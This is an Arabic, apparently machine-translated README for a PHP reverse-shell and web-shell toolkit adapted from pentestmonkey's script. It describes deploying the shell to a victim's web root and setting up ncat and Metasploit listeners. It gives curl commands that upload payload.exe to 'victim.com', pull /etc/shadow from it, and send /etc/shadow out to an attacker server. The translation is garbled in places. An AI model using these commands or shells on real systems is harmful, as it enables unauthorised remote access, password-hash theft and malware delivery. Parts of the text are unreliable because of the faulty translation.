مجرد تحديث صغير على برنامج Php Shell Shall الشهير Pentestmonkey/php-reverse-shell. اعتمادات للمؤلف الأصلي!
يعمل على نظام التشغيل Linux و MacOS مع /bin/sh و windows OS مع cmd.exe . سوف يكتشف البرنامج النصي تلقائيًا نظام التشغيل الأساسي.
يعمل مع كلاهما ، ncat و multi/handler .
تم اختباره على XAMPP لـ Linux V7.3.19 (64 بت) مع PHP V7.3.19 على Kali Linux V2020.2 (64 بت).
تم اختباره على XAMPP لـ OS X V7.4.10 (64 بت) مع PHP V7.4.10 على MACOS CATALINA V10.15.6 (64 بت).
تم اختباره على XAMPP لنظام التشغيل Windows V7.4.3 (64 بت) مع PHP V7.4.3 على نظام التشغيل Windows 10 Enterprise OS (64 بت).
بالإضافة إلى ذلك ، تم اختبار كل شيء على صور Docker Nouphet/Docker-PhP4 مع PHP V4.4.0 و Steeze/PHP52-NGINX مع PHP V5.2.17.
صنع لأغراض تعليمية. آمل أن يساعد ذلك!
لا تدعم أنابيب العمليات على نظام التشغيل Windows OS العمليات غير المتزامنة ، لذا لن تعمل stream_set_blocking() و stream_select() و feof() بشكل صحيح ، لكنني وجدت حلًا.
/src/reverse/php_reverse_shell.php يتطلب php v5.0.0 أو أكثر.
/src/reverse/php_reverse_shell_older.php يتطلب php v4.3.0 أو أكبر.
قم بتغيير عنوان IP ورقم المنفذ داخل البرامج النصية حسب الضرورة.
copy/src/reverse/php_reverse_shell.php إلى دليل جذر الويب الخاص بالخادم الخاص بك (على سبيل المثال إلى/opt/lampp/htdocs/على xampp) أو تحميله على خادم الويب الخاص به.
انتقل إلى الملف مع متصفح الويب المفضل لديك.
تحقق من قذيفة ويب PHP البسيطة بناءً على طلب نشر HTTP.
تحقق من Simple PHP Web Shell بناءً على طلب HTTP GET. يجب عليك تشفير URL أوامرك.
تحقق من PHP Web Shell V2 البسيط بناءً على طلب HTTP GET. يجب عليك تشفير URL أوامرك.
تعرف على المزيد حول تقنيات التغلب على PHP للإصدارات القديمة من PHP في LCATRO/PHP-Webshell-Bypass-WAF. اعتمادات للمؤلف!
تحقق من برنامج تحميل/تنزيل ملف PHP البسيط بناءً على طلب نشر HTTP لتحميل الملف و HTTP الحصول على طلب تنزيل الملف.
عند تنزيل ملف ، يجب عليك تشفير مسار الملف ، ولا تنسى تحديد ملف الإخراج إذا كنت تستخدم Curl.
عند تحميل ملف ، لا تنس تحديد @ قبل مسار الملف.
اعتمادًا على تكوين الخادم ، قد لا يعمل تنزيل ملف من خلال HTTP Get Get request دائمًا ، بدلاً من ذلك ، سيتعين عليك أن تتأثر بمسار الملف في البرنامج النصي.
انتقل إلى البرنامج النصي على خادم الويب الخاص بالضحية مع متصفح الويب المفضل لديك ، أو استخدم حليقة من جهاز الكمبيوتر الخاص بك.
قم بتحميل ملف إلى دليل جذر الويب الخاص بالخادم من جهاز الكمبيوتر الخاص بك:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
قم بتنزيل ملف من الخادم إلى جهاز الكمبيوتر الخاص بك:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
إذا قمت برفع امتيازاتك الأولية داخل قشرة العكس ، فقد لا يتمتع هذا البرنامج النصي بنفس الامتيازات مثل القشرة. في هذه الحالة ، لتنزيل ملف معين ، قد تحتاج إلى نسخ الملف إلى دليل جذر الويب وتعيين أذونات القراءة اللازمة.
من قذيفة PHP العكسية الخاصة بك ، قم بتشغيل أوامر حليقة التالية.
قم بتحميل ملف من جهاز الكمبيوتر الخاص بالضحية إلى دليل جذر الويب الخاص بالخادم:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
قم بتنزيل ملف من دليل جذر الويب الخاص بالخادم إلى جهاز الكمبيوتر الخاص بالضحية:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
لإعداد مستمع ، افتح وحدة التحكم المفضلة لديك على Kali Linux وقم بتشغيل أحد الأمثلة أدناه.
قم بإعداد مستمع ncat :
ncat -nvlp 9000
قم بإعداد مستمع multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

الشكل 1 - NCAT

الشكل 2 - تفريغ السيناريو